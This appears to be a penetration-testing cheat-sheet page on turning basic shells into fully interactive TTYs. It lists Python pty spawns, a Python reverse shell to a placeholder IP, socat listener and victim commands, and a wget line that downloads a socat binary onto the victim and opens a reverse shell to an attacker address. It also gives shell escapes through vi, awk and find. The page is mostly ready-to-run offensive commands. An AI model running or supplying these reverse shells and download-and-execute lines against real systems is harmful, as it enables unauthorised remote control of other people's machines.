Comment on page

Interactive TTYs Shell

Python pty module
python -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),   *$ 1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Full tty
​https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/​
Perl
perl —e 'exec "/bin/sh";'
Using socat
On Kali (listen):
socat file:`tty`,raw,echo=0 tcp-listen:4444
On Victim (launch):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
If not download in Victim:
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
Other ways
/bin/sh -i
echo os.system('/bin/bash')
exec "/bin/sh";
Related Shell Escape Sequences
Vi / Vim
:!bash
:set shell=/bin/bash
:shell
awk
awk 'BEGIN {system("/bin/bash")}'
find
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;

Reverse Shell - Previous

Linux reverse shell

Next - Reverse Shell

Listener setup

Last modified 1yr ago